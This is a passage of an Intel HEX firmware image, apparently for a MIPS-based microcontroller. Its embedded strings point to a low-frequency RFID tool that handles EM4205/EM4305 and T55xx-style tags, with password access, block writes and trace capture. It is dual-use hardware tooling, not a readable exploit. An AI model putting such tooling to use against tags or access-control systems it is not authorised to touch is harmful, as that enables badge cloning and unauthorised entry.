22406006210000000002000c28f09\n:10f0c80000004390310002240d006214000000008b\n:10f0d80000a0023c5c5544242000c58f5bba400f59\n:10f0e800000000000400401400000000211000008f\n:10f0f800873c410b00000000483c410b0000000029\n:10f1080000a0023c5c5544242000c58f2400c68f13\n:10f11800214b410f0000000000a0023c5c55432435\n:10f128002400c28f211062002a000324000043a09b\n:10f1380000a0023c5c554224188082af88bf023c84\n:10f148002061428c02004230200040100000000084\n:10f158009c8080a3a080828f42280200a080838f99\n:10f168009c808293030004242130600021384000f1\n:10f17800b20b410f000000002800c28f130040149a\n:10f188000000000000a0023cdc5642249c00438c96\n:10f1980000a0023cdc564224f000428c18006200b9\n:10f1a800122000001400c4afeb51023c1f8542340a\n:10f1b8001400c38f190062001010000042110200f1\n:10f1c80021204000240e410f000000002800c28fbb\n:10f1d8000500401000000000010002249c8082a36a\n:10f1e8007e3c410b000000001000c2939c8082a36b\n:10f1f8002c00c28f06004010000000000000000034\n:10f208009c80839308000224fdff62140000000024\n:10f218000100022421e8c0031c00bf8f1800be8f24\n:10f228002000bd270800e00300000000d8ffbd272c\n:10f238002400bfaf2000beaf21f0a0032800c4af58\n:10f2480000a0023cdc564224870042900a000324b6\n:10f2580009004310000000001000032419004310a7\n:10f26800000000000800032408004310000000000c\n:10f27800b73c410b000000002800c48f5cd0400f51\n:10f2880000000000b73c410b000000001a000224f7\n:10f298001000a2af200002241400a2af2800c28fe1\n:10f2a8001800a2af010004240a0005241200062455\n:10f2b80016000724ccb1400f00000000b73c410bfa\n:10f2c800000000002800c48face3400f00000000dd\n:10f2d8000000000021e8c0032400bf8f2000be8f7b\n:0cf2e8002800bd270800e0030000000023\n:020000040000fa\n:020000041d04d9\n:10f2f400c8ffbd273400bfaf3000b7af2c00b6af96\n:10f304002800b5af2400b4af2000b3af1c00b2afe7\n:10f314001800b1af1400b0af21a8800000008280b3\n:10f32400059d133ca13c73262118620200006380f2\n:10f3340021b0a000880063300800601021808000a4\n:10f34400010010260000028221186202000063807e\n:10f3540088006330fbff6054010010262d00032455\n:10f36400810043102b0042380100422c21b80000d8\n:10f3740021800202000003822110630200004290f7\n:10f3840004004230a50040102188000021a00000a4\n:10f39400d0ff722421202002a948410f2041053cbe\n:10f3a400218840009356410f212040022120200251\n:10f3b400212840004f45410f0100102621884000bc\n:10f3c40000000382211063020000429004004230d6\n:10f3d400efff401425a09202010004242e00022411\n:10f3e4003e006250010002826200805400000282ea\n:10f3f4002400c012401811002180a00221900000b6\n:10f404000000d0ae1f00401240181100c3171200b4\n:10f4140026a8520023a8a202059d133ca4667326c5\n:10f42400060010240e3d410b803f023c0b000012ed\n:10f43400fcff7326ffff1026071815020100633036\n:10f44400faff6010000000000000658ea948410f1b\n:10f4540021204000f7ff0016fcff73262120200224\n:10f464006a00400621284000a948410f000000001e\n:10f4740021204000aa4f410f21284002218840004a\n:10f484004018110000ff023c6c006250220003246b\n:10f4940068002012000000000500e0122110200284\n:10f4a400af59410f21202002218840002110200261\n:10f4b4003400bf8f3000b78f2c00b68f2800b58f73\n:10f4c4002400b48f2000b38f1c00b28f1800b18fba\n:10f4d4001400b08f0800e0033800bd272118620231\n:10f4e4000000639004006330bfff60100100102629\n:10f4f40021900000d0ff552421202002a948410f6b\n:10f504002041053c218840009356410f2120a00250\n:10f5140021202002212840004f45410f01001026e0\n:10f52400218840000000028225a095022118620271\n:10f534000000639004006330eeff6014ffff522666\n:10f54400dfff032424184300201c037c450002240d\n:10f554000f00625001000382aaffc0560000d0ae23\n:10f56400023d410b0000000001001026de3c410b6f\n:10f5740001001724dfff032424184300201c037c0c\n:10f5840045000224f4ff621421900000010003826c\n:10f594002d000224190062102b0002242200625064\n:10f5a40002000382010010262138000021106302aa\n:10f5b40000004290040042300c0040102110000072\n:10f5c40001001026d0ff65240000038240300200b1\n:10f5d400c010020021206302000084902110c200a8\n:10f5e40004008430f6ff8014211045002318020023\n:10f5f4000b106700573d410b219042020200038229\n:10f60400010007246c3d410b020010268746410f80\n:10f61400000000001e3d410b21204000212000007d\n:10f62400f83c410b21a00000213800006c3d410b47\n:10f634000200102698ff80122200032400a0023c3e\n:08f64400273d410bf40343ac28\n:020000040000fa\n:020000041d04d9\n:10f64c00e8ffbd271400bfaf1000beaf21f0a00330\n:10f65c001800c4af1c00c5af1800c48f1c00c58fa8\n:10f66c00f73d410f000000000800401000000000b2\n:10f67c001800c48f1800c58f6000062447b9400fce\n:10f68c0000000000a73d410b00000000211000000d\n:10f69c0021e8c0031400bf8f1000be8f1800bd27d7\n:10f6ac000800e0030000000078ffbd278400bfaf16\n:10f6bc008000beaf21f0a0038800c4af8c00c5afa2\n:10f6cc001000c227212040008c00c58fcbb8400f02\n:10f6dc000000000004004014000000002110000095\n:10f6ec00f13d410b000000003c00c2271000c32775\n:10f6fc00212060002128400034000624214b410fba\n:10f70c00000000001000c227212040001000c2277a\n:10f71c0021284000340006248fbb400f000000005d\n:10f72c00211840001a00022404006210000000009e\n:10f73c0021100000f13d410b000000007000c327b8\n:10f74c001100c22721206000212840001800062447\n:10f75c0047b9400f000000000400401400000000f6\n:10f76c0021100000f13d410b000000007000c42787\n:10f77c007800c3277c00c227059d053ca05ea5240c\n:10f78c0021306000213840000357410f0000000079\n:10f79c007800c38f7c00c28f8800c48f059d053c08\n:10f7ac00a85ea5242130600021384000e455410fab\n:10f7bc00000000000100022421e8c0038400bf8f78\n:10f7cc008000be8f8800bd270800e0030000000009\n:10f7dc00c0ffbd273c00bfaf3800beaf21f0a00377\n:10f7ec004000c4af4400c5af4400c48f7b4b410ff5\n:10f7fc0000000000211840000800022404006210e0\n:10f80c000000000021100000523e410b00000000df\n:10f81c003400c2274400c48f059d033cb45e6524ac\n:10f82c00213040000357410f000000003400c28f0c\n:10f83c001800c32721206000059d033cbc5e652495\n:10f84c0021304000e455410f000000001800c22791\n:10f85c001000c3272120600021284000020006244c\n:10f86c00214b410f000000004400c28f03004324d1\n:10f87c003400c22721206000059d033cc45e652432\n:10f88c00213040000357410f000000003400c28fac\n:10f89c001800c32721206000059d033ccc5e652425\n:10f8ac0021304000e455410f000000001200c32736\n:10f8bc001800c227212060002128400005000624e2\n:10f8cc00214b410f000000001800c2270100422408\n:10f8dc00212040001000c22721284000cbb8400f47\n:10f8ec00000000001800c3271800c22701004224a2\n:10f8fc002120600021284000180006242ef8400f1b\n:10f90c00000000004000c48f059d023cd45e4524dd\n:10f91c00cbb8400f000000004000c28f2c004324e5\n:10f92c001800c22721206000212840001a0006245c\n:10f93c0051bb400f000000000100022421e8c0036d\n:10f94c003c00bf8f3800be8f4000bd270800e0038d\n:10f95c0000000000e8ffbd271400bfaf1000beafd1\n:10f96c0021f0a0031800c4af1800c48f2128000098\n:10f97c006ef9400f0000000021e8c0031400bf8f97\n:10f98c001000be8f1800bd270800e0030000000027\n:020000040000fa\n:020000041d04d9\n:10f99c004e525a2f446972656374000050534b31b8\n:10f9ac000000000050534b320000000050534b330a\n:10f9bc000000000046534b310000000046534b3210\n:10f9cc000000000046534b316100000046534b329f\n:10f9dc00610000004d616e636865737465720000b0\n:10f9ec000810202832406480313100003130000092\n:10f9fc00206761703a20256400000000206f6e655e\n:10fa0c003a20256400000000207a65726f3a2025a8\n:10fa1c0064000000205549443a2025730d0a00006b\n:10fa2c00257300000d0a00002020436f6e66696785\n:10fa3c0020426c6f636b202830293a20252e3873b6\n:10fa4c000d0a0d0a0000000020202020202020207c\n:10fa5c004d6173746572204b65793a2025642020c2\n:10fa6c003d20000025730d0a00000000436f6d70ef\n:10fa7c0061746962696c697479204d6f646500000a\n:10fa8c00457874656e646564204d6f646500000094\n:10fa9c00556e646566696e6564204d6f6465000023\n:10faac00547275650000000046616c7365000000bf\n:10fabc00202020202020202020202020582d4d6f79\n:10facc0064653a2025730d0a0000000020202020d8\n:10fadc0020202020204461746120526174653a20fa\n:10faec0025303264203d20002564202a2046430d19\n:10fafc000a00000020202020202020204d6f64755b\n:10fb0c006c6174696f6e3a2025303264203d2000a0\n:10fb1c004269506861736520282735302900000040\n:10fb2c004269506861736520282735372900000029\n:10fb3c00496e76616c6964002020202020202020f2\n:10fb4c002020202020205353543a2025730d0a00e6\n:10fb5c0052657365727665642f496e76616c696463\n:10fb6c000000000020202020202020202020202009\n:10fb7c002020202053543a2025730d0a0000000049\n:10fb8c002020202020202050534b2043617272698a\n:10fb9c0065723a202564203d200000005265736593\n:10fbac007276656400000000202020202020202098\n:10fbbc0020204d6178626c6f636b3a2025640d0ace\n:10fbcc0000000000202020202020202020202020a9\n:10fbdc00202020414f523a2025730d0a00000000ce\n:10fbec002020202020202020202020202020204fda\n:10fbfc0054503a2025730d0a0000000020202020cc\n:10fc0c0020202020202020202020205057443a2043\n:10fc1c0025730d0a00000000202020202020202029\n:10fc2c00466173742057726974653a2025730d0a06\n:10fc3c0000000000202020202020496e7665727381\n:10fc4c006520446174613a2025730d0a00000000a0\n:10fc5c00202020202020202020504f522044656c52\n:10fc6c0061793a2025730d0a000000000d0a20204e\n:10fc7c0020202050574420426c6f636b202837297a\n:10fc8c003a20252e387320202020000030303038c8\n:10fc9c0038304530000000003030313037303630ed\n:10fcac00000000003930334630303832000000009c\n:10fcbc0030303038313034300000000030303038e3\n:10fccc0031304530000000003030313438303430c1\n:10fcdc00000000003030303838304538000000006b\n:10fcec004d616e63686573746572000050534b31df\n:10fcfc000000000050534b320000000050534b33b7\n:10fd0c000000000046534b310000000046534b32bc\n:10fd1c000000000042697068617365004e525a2ff2\n:10fd2c0044697265637400000204080831310000f4\n:10fd3c0031300000303030303030303000000000d6\n:10fd4c003030303131000000303030303030303035\n:10fd5c003030303030303030000000000d0a466f4b\n:10fd6c00756e6420746167207769746820676170b0\n:10fd7c0020256400206f6e6520256400207a657252\n:10fd8c006f20256400000000257300000d0a0000a0\n:10fd9c002020436f6e66696720426c6f636b20286e\n:10fdac0030293a20252e38730d0a0d0a0000000068\n:10fdbc00547275650000000046616c7365000000ac\n:10fdcc0020202020202020506167652053656c6521\n:10fddc0063743a2025730d0a0000000020202020b7\n:10fdec0020202020466173742057726974653a2074\n:10fdfc0025730d0a00000000202020202020202048\n:10fe0c00204461746120526174653a20253032645b\n:10fe1c00203d20002564202a2046430d0a000000c6\n:10fe2c0020202020202020202020205573652041d8\n:10fe3c004f523a2025730d0a00000000202020208c\n:10fe4c0020202020202020557365205057443a2034\n:10fe5c0025730d0a000000002020202020202050b7\n:10fe6c00534b20436172726965723a2025642020dd\n:10fe7c003d200000202020202020496e76657273e2\n:10fe8c006520446174613a2025730d0a000000005e\n:10fe9c0020202020202020204d6f64756c61746917\n:10feac006f6e3a20256420203d20000025730d0a3a\n:10febc00000000002020202020202020204d6178f0\n:10fecc0020426c6f636b3a2025640d0a0000000021\n:10fedc002020202020202020202020202020202016\n:10feec0053543a2025730d0a000000000d0a2020ff\n:10fefc0020202050574420426c6f636b20283729f8\n:10ff0c003a20252e38732020202000004536303131\n:10ff1c00463030340000000045363031383035364c\n:10ff2c0000000000453630304630453800000000f7\n:10ff3c004536303046303134000000004536303024\n:10ff4c0046303145000000000d0a25732c20474532\n:10ff5c00545f54524143455f4441544100000000fa\n:10ff6c00303000000d0a25732c20524553455400a7\n:10ff7c000d0a25732c203f494e56414c49443f00f5\n:10ff8c000d0a25732c204d4f44554c4154494f4e6e\n:10ff9c005f444546454154000d0a25732c204449c5\n:10ffac00524543545f4143434553533a00000000cc\n:10ffbc0025302e31733a000025302e3273000000ac\n:10ffcc000d0a25732c20414f523a000025302e3853\n:10ffdc00730000000d0a25732c205057445f4449d0\n:10ffec00524543545f4143434553533a000000008c\n:10fffc0025302e38733a000025302e317300000066\n:020000041d05d8\n:10000c000d0a25732c2057524954455f50303a0045\n:10001c000d0a25732c205057445f57524954455fa5\n:04002c0050303a0016\n:020000040000fa\n:020000041d05d8\n:10003000e8ffbd271400bfaf1000beaf21f0a00342\n:10004000c40c410f0000000088bf033c6060629454\n:100050000421027c606062a488bf033c206162943a\n:1000600001000424444a827c206162a488bf033cce\n:10007000a0616294444a027ca06162a421e8c003aa\n:100080001400bf8f1000be8f1800bd270800e003ca\n:1000900000000000d8ffbd272400bfaf2000beaf86\n:1000a00021f0a0032800c4af2110a0002c00c2a39f\n:1000b00088bf023cd060428c0003427cff0042308b\n:1000c0001000c2a31400c0af0c40410f000000009c\n:1000d0002800c28f32004010000000002c00c393a3\n:1000e0009a3b023c00ca4234180062001210000021\n:1000f0001800c2af1800c28f001102008018020061\n:10010000211043001800c2af1800c28f4210020035\n:100110001800c2af01000424fb0d410f00000000d5\n:100120005a40410b000000002b15410f0000000059\n:1001300003004010000000008d40410b0000000053\n:1001400021200000fb0d410f00000000211840009d\n:100150001800c28f2b104300030040100000000065\n:100160008d40410b0000000088bf023cd060428cf3\n:100170000003427cff004230211840001000c2936f\n:10018000e9ff6210000000001000c2930100422c41\n:10019000ff0042301000c2a34540410b00000000a8\n:1001a000640002241400c2af8040410b0000000034\n:1001b0007440410b000000002b15410f00000000af\n:1001c00003004010000000008d40410b00000000c3\n:1001d00088bf023cd060428c0003427cff0042306a\n:1001e000211840001000c293f3ff621000000000cd\n:1001f0001000c2930100422cff0042301000c2a345\n:100200001400c28fffff43241400c3afe8ff401463\n:1002100000000000e80304249340410f00000000a8\n:10022000059d033c64646424212840006913410f48\n:100230000000000021e8c0032400bf8f2000be8f13\n:100240002800bd270800e00300000000e0ffbd27f4\n:100250001c00bfaf1800beaf21f0a0032000c4af48\n:100260001400c0af01000424fb0d410f000000008a\n:10027000b940410b00000000a740410b0000000006\n:100280002b15410f0000000004004010000000008a\n:1002900021100000d140410b0000000088bf023c4b\n:1002a000d060428c0003427cff00423021184000a5\n:1002b0001000c28ff2ff6210000000000100042451\n:1002c000fb0d410f000000001400c38f21106200dd\n:1002d0001400c2af1000c28f0100422cff00423058\n:1002e0001000c2af2000c28fffff43242000c3af25\n:1002f000e1ff4014000000001400c28f4010020013\n:100300001400c2af1400c38fcccc023ccdcc42341d\n:100310001900620010100000821102001400c2af28\n:100320009a3b023c00ca43341400c28f1b00620097\n:10033000f401400010100000121000001400c2afc1\n:100340001400c28f21e8c0031c00bf8f1800be8fad\n:0c0350002000bd270800e00300000000b2\n:020000040000fa\n:020000041d05d8\n:10035c004050050042550a00c04a0500427d040089\n:10036c0025482f01c042040000800e3c25482e0178\n:10037c0040680700426d0d00c0620700427d060018\n:10038c0025608f01c05a060025608e012628a70023\n:10039c002428ae00ffff4f25fe07e12d470020105b\n:1003ac0000000000ffffaf25fe07e12d6f002010bd\n:1003bc000000000002fcaf2521504f0119002c0158\n:1003cc00123800001070000019000b011220000000\n:1003dc001030000019002b011258000010680000aa\n:1003ec002130cb002b78cb002138ed002138ef00e9\n:1003fc000200ed10000000002b78ed002170cf0101\n:10040c0019000c0112400000104800002130c800f7\n:10041c002b78c8002138e9002138ef000200e910e0\n:10042c00000000002b78e9002170cf0125788600b0\n:10043c000200e011000000000100e73425480e0026\n:10044c0006002005254007002a78000121400801fc\n:10045c002148290121482f01ffff4a25ffff4f2585\n:10046c00fe07e12d680020100000000000040825a4\n:10047c0000040f2d21482f012b782f0121504f0103\n:10048c00c27a08000100ef3123400f01c22208009c\n:10049c00407d090025208f0040780900027b0f0069\n:1004ac002528af00007d0a002528af002510040088\n:1004bc00251805000800e003000000002a78000160\n:1004cc0021400801214829011c00401521482f0119\n:1004dc00257828011400e011000000000800201508\n:1004ec00000000000300001500000000adff00102c\n:1004fc0000000a242548000100000824e0ff4a25da\n:10050c0020702e71a7ffc0110000000023504e0177\n:10051c0022380e000638e8000440c8010448c9011e\n:10052c00a0ff001025482701ff0701243300a1116b\n:10053c0000000000ddff00100000000025782801fd\n:10054c002e00e015000000000500a01500000000c2\n:10055c0040780c002578eb012800e0110000000029\n:10056c00ff0701242100a115000000002a7860017a\n:10057c0021586b0121608c011900a01521608f019d\n:10058c0025788b011400e011000000000800801594\n:10059c0000000000030060150000000085ff001043\n:1005ac0000000d242560600100000b24e0ffad2548\n:1005bc00203086717fffc010000000002368a60168\n:1005cc00227006000670cb010458cb000460cc00ee\n:1005dc0078ff001025608e01b4ff00100000042489\n:1005ec0025788b010500e01500000000f07f013c30\n:1005fc002528a100adff001000000424f8ff053ce5\n:10060c00aaff001000000424f8ff401d00000000a9\n:10061c0001000e242370ca012000c12d07002014f4\n:10062c0000000000e0ffce212b3008000d00091067\n:10063c0025402601f8ff0010000009340900c01104\n:10064c000000000022380e000430e8000438e900f5\n:10065c000640c8010648c9010200c0102540e80048\n:10066c00020008350004082500040f2d21482f0135\n:0c067c0083ff0010c257090000000000be\n:020000040000fa\n:020000041d05d8\n:10068800000000000100010000000000000000015f\n:100698004e6f2044656c61790000000042502f3491\n:1006a800202852462f3136290000000042502f38aa\n:1006b800202852462f382900496e76616c696400fb\n:1006c800323130704600000032353070460000008c\n:1006d80033333070460000003031303130000000d4\n:1006e8004646464646464646000000003030313011\n:1006f8003100000030313030310000002573000037\n:10070800202020202020202020496e666f20426c67\n:100718006f636b202830293a20000000252e38739b\n:100728000d0a0d0a00000000202020202020202093\n:100738002020437573746f6d657220436f64653a4a\n:10074800203078253033780d0a0000002020202042\n:100758002020202020202020202043617061636910\n:10076800746f723a202564203d20000025730d0a1d\n:1007780000000000202020202020202020202020f1\n:1007880020204368697020547970653a20256420d8\n:100798003d200000454d343230350d0a0000000080\n:1007a800454d343330350d0a00000000496e76613e\n:1007b8006c69640d0a00000025730d0a0d0a00001b\n:1007c8004e6f742070726573656e74000d0a202078\n:1007d800202020202020202050574420426c6f6386\n:1007e8006b202832293a2025730d0a0d0a000000d3\n:1007f8005772697465204f6e6c79000020202020a4\n:10080800202020436f6e66696720426c6f636b20ff\n:100818002834293a20252e38730d0a0d0a000000c5\n:10082800547275650000000046616c736500000035\n:1008380020202020202020202020202050696765ab\n:100848006f6e204d6f64653a2025730d0a00000015\n:100858002020202020202020202020202020202090\n:10086800202020205254463a2025730d0a0000000b\n:100878002020202020202020202020202020202070\n:1008880044697361626c653a2025730d0a000000a3\n:10089800202020202020202020202020577269742a\n:1008a80065204c6f67696e3a2025730d0a000000b9\n:1008b8002020202020202020202020202052656178\n:1008c80064204c6f67696e3a2025730d0a0000009a\n:1008d8002020202020202020202020202020202010\n:1008e800202020204c57523a2025640d0a00000091\n:1008f8002020202020202020202020202044656c3b\n:1009080061796564204f6e3a202564203d200000ff\n:1009180020202020202020202020202020202020cf\n:10092800456e636f6465723a202564203d2000009f\n:100938004d616e6368657374657200004269506842\n:1009480061736500202020202020202020202020e6\n:1009580020204461746120526174653a2025642026\n:100968003d20000052462f25640d0a0030303032f9\n:1009780030303546000000003030303138303546f0\n:1009880000000000303030323130384600000000be\n:10099800303030303030303000000000303030310e\n:0409a800310000001a\n:020000040000fa\n:020000041d05d8\n:1009ac00e8ffbd271400bfaf1000beaf21f0a003bd\n:1009bc001800c4af1800c48f1fff400f00000000c8\n:1009cc0021e8c0031400bf8f1000be8f1800bd2794\n:1009dc000800e00300000000c0ffbd273c00bfafd3\n:1009ec003800beaf21f0a0034000c4af4400c5af37\n:1009fc004000c48f4400c58f73db400f0000000023\n:100a0c0007004010000000004000c48f4000c58f5c\n:100a1c00ac42410f000000008c42410b0000000072\n:100a2c002110000021e8c0033c00bf8f3800be8fae\n:100a3c004000bd270800e00300000000e8ffbd27d0\n:100a4c001400bfaf1000beaf21f0a0031800c4af5c\n:100a5c001c00c5af1800c48f1c00c58fd942410fb4\n:100a6c000000000008004010000000001800c48fb7\n:100a7c001800c58f4000062447b9400f0000000045\n:100a8c00a642410b000000002110000021e8c00329\n:100a9c001400bf8f1000be8f1800bd270800e003a4\n:100aac0000000000d8ffbd272400bfaf2000beaf60\n:100abc0021f0a0032800c4af2c00c5af1400c2273e\n:100acc00212040002c00c58f02000624214b410f31\n:100adc00000000002c00c28f040042241400c32725\n:100aec000200632421206000212840000600062417\n:100afc00214b410f000000001400c22721204000b0\n:100b0c008db7400f000000001000c2af1000c38f63\n:100b1c001400023c003e4234211062001000c2afaf\n:100b2c002800c48f1000c58f90b6400f0000000045\n:100b3c002800c28f08004224000040a001000224bb\n:100b4c0021e8c0032400bf8f2000be8f2800bd27e2\n:100b5c000800e00300000000a0ffbd275c00bfaf51\n:100b6c005800beaf5400b0af21f0a0036000c4af7a\n:100b7c006400c5af6400c48f7b4b410f00000000c4\n:100b8c000900422c04004014000000002110000059\n:100b9c002d43410b000000001400c227212040000f\n:100bac0030000524080006247152410f000000009b\n:100bbc006400c48f7b4b410f00000000080003242d\n:100bcc00231062001400c327218062006400c48fcc\n:100bdc007b4b410f00000000212000026400c58ff8\n:100bec0021304000214b410f000000001400c227af\n:100bfc00212040008db7400f000000001000c2af54\n:100c0c001000c38febff023c00c242342110620083\n:100c1c001000c2af4400c227212040003000052440\n:100c2c000a0006247152410f000000004400c22744\n:100c3c0002004224212040001000c58f90b6400fc6\n:100c4c00000000004400c3274400c22702004224d5\n:100c5c00212060002128400002000624214b410f76\n:100c6c0000000000300002244600c2a33000022421\n:100c7c004700c2a34e00c0a31c00c3274400c227d8\n:100c8c002120600021284000cbb8400f000000005c\n:100c9c001c00c2276000c48f212840008bdc400f51\n:100cac00000000000100022421e8c0035c00bf8f9b\n:100cbc005800be8f5400b08f6000bd270800e003c1\n:100ccc0000000000f8ffbd270400beaf21f0a00318\n:100cdc00211080000c00c5af0800c2a30800c3930c\n:100cec0080bf023c205c43ac0000000080bf023c93\n:100cfc00105c428c01004230fcff401000000000f0\n:100d0c0080bf023c205c428cff0043300c00c28f41\n:100d1c00000043a021e8c0030400be8f0800bd27db\n:100d2c000800e00300000000f8ffbd270400beaf80\n:100d3c0021f0a0030800c4af0c00c5af80bf023c7b\n:100d4c000800c38f205c43ac0000000080bf023c55\n:100d5c00105c428c01004230fcff4010000000008f\n:100d6c0080bf023c205c438c0c00c28f000043ac63\n:100d7c0021e8c0030400be8f0800bd270800e00373\n:100d8c0000000000e0ffbd271c00bfaf1800beaf85\n:100d9c0021f0a003211880002110a0002800c6af6c\n:100dac002c00c7af2000c3a32400c2a3040004245a\n:100dbc000010023c20014534100006241f4d410f49\n:100dcc00000000002000c293212040003400c58f99\n:100ddc003443410f000000001000c0af8743410bab\n:100dec00000000002c00c38f1000c28f2110620085\n:100dfc0000004290212040003400c58f3443410f45\n:100e0c00000000001000c28f010042241000c2af8d\n:100e1c001000c38f2800c28f2b106200f1ff40140a\n:100e2c00000000001000c0af9943410b000000000f\n:100e3c003400c38f1000c28f2110620021200000eb\n:100e4c00212840003443410f000000001000c28fe5\n:100e5c00010042241000c2af1000c38f3000c28fbb\n:100e6c002b106200f2ff4014000000000400042468\n:100e7c00ec51410f000000002110000021e8c003dc\n:100e8c001c00bf8f1800be8f2000bd270800e00398\n:100e9c0000000000e0ffbd271c00bfaf1800beaf74\n:100eac0021f0a0032000c4af2110a0002800c6af81\n:100ebc002c00c7af2400c2a3040004240010023c81\n:100ecc0020054534100006241f4d410f0000000082\n:100edc002000c48f3400c58f4d43410f000000002b\n:100eec001000c0afca43410b000000001000c28fbd\n:100efc00801002002c00c38f211062000000428c75\n:100f0c00212040003400c58f4d43410f00000000ec\n:100f1c001000c28f010042241000c2af1000c38f1a\n:100f2c002800c28f2b106200f0ff4014000000005c\n:100f3c001000c0afdd43410b000000001000c28f59\n:100f4c00801002003400c38f2110620021200000a9\n:100f5c00212840004d43410f000000001000c28fbb\n:100f6c00010042241000c2af1000c38f3000c28faa\n:100f7c002b106200f1ff4014000000000400042458\n:100f8c00ec51410f000000002110000021e8c003cb\n:100f9c001c00bf8f1800be8f2000bd270800e00387\n:100fac0000000000e0ffbd271c00bfaf1800beaf63\n:100fbc0021f0a003212000001000c22721284000ae\n:100fcc003443410f0000000021e8c0031c00bf8f18\n:100fdc001800be8f2000bd270800e00300000000b1\n:100fec00e8ffbd271400bfaf1000beaf21f0a00377\n:100ffc001800c4af1800c48f1fff400f0000000082\n:10100c0021e8c0031400bf8f1000be8f1800bd274d\n:10101c000800e00300000000e8ffbd271400bfaf8c\n:10102c001000beaf21f0a0031800c4af1c00c5af68\n:10103c001800c48f1c00c58f3344410f0000000002\n:10104c0021e8c0031400bf8f1000be8f1800bd270d\n:10105c000800e00300000000e8ffbd271400bfaf4c\n:10106c001000beaf21f0a0031800c4af1c00c5af28\n:10107c001800c48f1c00c58f5d44410f0000000098\n:10108c0008004010000000001800c48f1800c58f25\n:10109c004000062447b9400f000000002d44410bce\n:1010ac00000000002110000021e8c0031400bf8fd5\n:1010bc001000be8f1800bd270800e00300000000e0\n:1010cc00a8ffbd275400bfaf5000beaf21f0a00356\n:1010dc005800c4af5c00c5af1000c22721204000ef\n:1010ec005c00c58fe1db400f0000000017004010d2\n:1010fc00000000001000c227212040002800052419\n:10110c008fbc400f000000005800c48f1000c22795\n:10111c00212840002800062447b9400f0000000099\n:10112c005800c48f0a000524bbbc400f000000000f\n:10113c005800c48f0a0005248fbc400f000000002b\n:10114c00010002245744410b000000002110000054\n:10115c0021e8c0035400bf8f5000be8f5800bd273c\n:10116c000800e00300000000a8ffbd275400bfaf3b\n:10117c005000beaf4c00b0af21f0a0035800c4af7c\n:10118c005c00c5af5c00c48f7b4b410f00000000be\n:10119c000b00422c04004014000000002110000041\n:1011ac009d44410b000000001000c227212040008c\n:1011bc00300005240a0006247152410f0000000083\n:1011cc005c00c48f7b4b410f000000000a0003241d\n:1011dc00231062001000c327218062005c00c48fc2\n:1011ec007b4b410f00000000212000025c00c58fea\n:1011fc0021304000214b410f000000001000c2279d\n:10120c00212040000a0005248fbc400f0000000084\n:10121c001000c227212040000a000524bbbc400f4f\n:10122c00000000001c00c227212040001000c22733\n:10123c0021284000cbb8400f000000001c00c22742\n:10124c0021204000280005248fbc400f0000000026\n:10125c001c00c2275800c48f212840008bdc400f93\n:10126c00000000000100022421e8c0035400bf8fdd\n:10127c005000be8f4c00b08f5800bd270800e00313\n:10128c0000000000e0ffbd271c00bfaf1800beaf80\n:10129c0021f0a0032000c4af2400c5af2800c6afc6\n:1012ac001400c0af2400c28f1000c2af4145410be7\n:1012bc000000000000a0023cdc5642248700429053\n:1012cc00f9ff42240c00432c820060100000000047\n:1012dc0080180200059d023cf81242242110620085\n:1012ec000000428c08004000000000008013059da7\n:1012fc00d813059de014059d3014059de014059d43\n:10130c00e014059de014059de014059de014059d79\n:10131c008814059de014059d2813059d00a0023c32\n:10132c00dc564224b800428c821802001400c28f92\n:10133c00180062002000c28f122000002118440007\n:10134c001000c28fff004230212060002128400095\n:10135c00a3de400f00000000040040140000000059\n:10136c00211000004745410b000000003b45410b9c\n:10137c000000000000a0023cdc564224b800428c65\n:10138c00821802001400c28f180062002000c28f65\n:10139c0012200000211844001000c28fff004230c0\n:1013ac0021206000212840006fab400f000000009e\n:1013bc000400401400000000211000004745410bc0\n:1013cc00000000003b45410b0000000000a0023c67\n:1013dc00dc564224b800428c821802001400c28fe2\n:1013ec00180062002000c28f122000002118440057\n:1013fc001000c28fff0042302120600021284000e5\n:10140c00c3b0400f000000000400401400000000b6\n:10141c00211000004745410b000000003b45410beb\n:10142c000000000000a0023cdc564224b800428cb4\n:10143c00821802001400c28f180062002000c28fb4\n:10144c0012200000211844001000c28fff0042300f\n:10145c00212060002128400011cf400f0000000027\n:10146c000400401400000000211000004745410b0f\n:10147c00000000003b45410b0000000000a0023cb6\n:10148c00dc564224b800428c821802001400c28f31\n:10149c00180062002000c28f1220000021184400a6\n:1014ac001000c28fff004230212060002128400034\n:1014bc00b0e2400f000000000400401400000000e7\n:1014cc00211000004745410b000000003b45410b3b\n:1014dc0000000000211000004745410b00000000f7\n:1014ec001000c28f010042241000c2af1400c28f42\n:1014fc00010042241400c2af1000c38f2800c28f19\n:10150c002b1043006bff4010000000000100022470\n:10151c0021e8c0031c00bf8f1800be8f2000bd2720\n:08152c000800e00300000000cc\n:020000040000fa\n:020000041d05d8\n:101534000080013c2628a100c24d0400ff0029318f\n:10154400c25d0500ff006b310080073c00420400cf\n:10155400254007010052050025504701ffff2d25b6\n:10156400fe00a12d6100201000000000ffff6d258a\n:10157400fe00a12d770020100000000023602b0145\n:101584000d008005000000002000812903002014c4\n:10159400000000001500001002000a2425300a0093\n:1015a40006508a0104688a011000a6110000000098\n:1015b4000e00001002004a3525480b0023600c0081\n:1015c40020008129030020140000000007000010ff\n:1015d40002000824253008000640880104688801b8\n:1015e4000200a611000000000200083524608700f4\n:1015f400266885011000a0050000000021400a01b2\n:101604002b680a011700a0110000000001000d3131\n:101614000200a0110000000002000835424008004a\n:1016240001002925ff0001240e00211500000000ff\n:101634000c000010000008242b680a010400a0110b\n:1016440023400a012340080003000010266087019c\n:1016540050000011000000002030067123482601cc\n:101664000440c8000e002019000000008000082576\n:1016740080000d2d21482d01026a08000100ad31c2\n:1016840023400d014040080042420800c06d09009b\n:1016940025400d0125100c010800e00300000000a6\n:1016a400010006242330c9002000c12c3900201079\n:1016b400000000000080013c2540010120000d24b1\n:1016c4002368a6010448a801020020110640c800ae\n:1016d400010008350000092480000d25e3ffa10561\n:1016e40000000000e1ff0010010009240e00201595\n:1016f4000000000021400801050000110000000066\n:1017040020600c7123482c0198ff001004408801cc\n:10171400ff0001240f006111000000000080013c63\n:101724001800a11400000000216808011b00a01586\n:1017340000000000ff0001241400611500000000f7\n:10174400266885001500a005000000000d000010ab\n:1017540000000000080060150000000021504a014c\n:101764000a0040110000000020604c7123586c01f5\n:1017740082ff001004508a0121684a010700a01565\n:1017840000000000c4ff001025100500c2ff001077\n:1017940025100400c0ff001000000224beff00104a\n:0817a400c0ff023c0000000040\n:020000040000fa\n:020000041d05d8\n:1017ac0090ffbd276c00bfaf6800beaf21f0a00357\n:1017bc007000c4af1000c0afe5d4400f00000000b3\n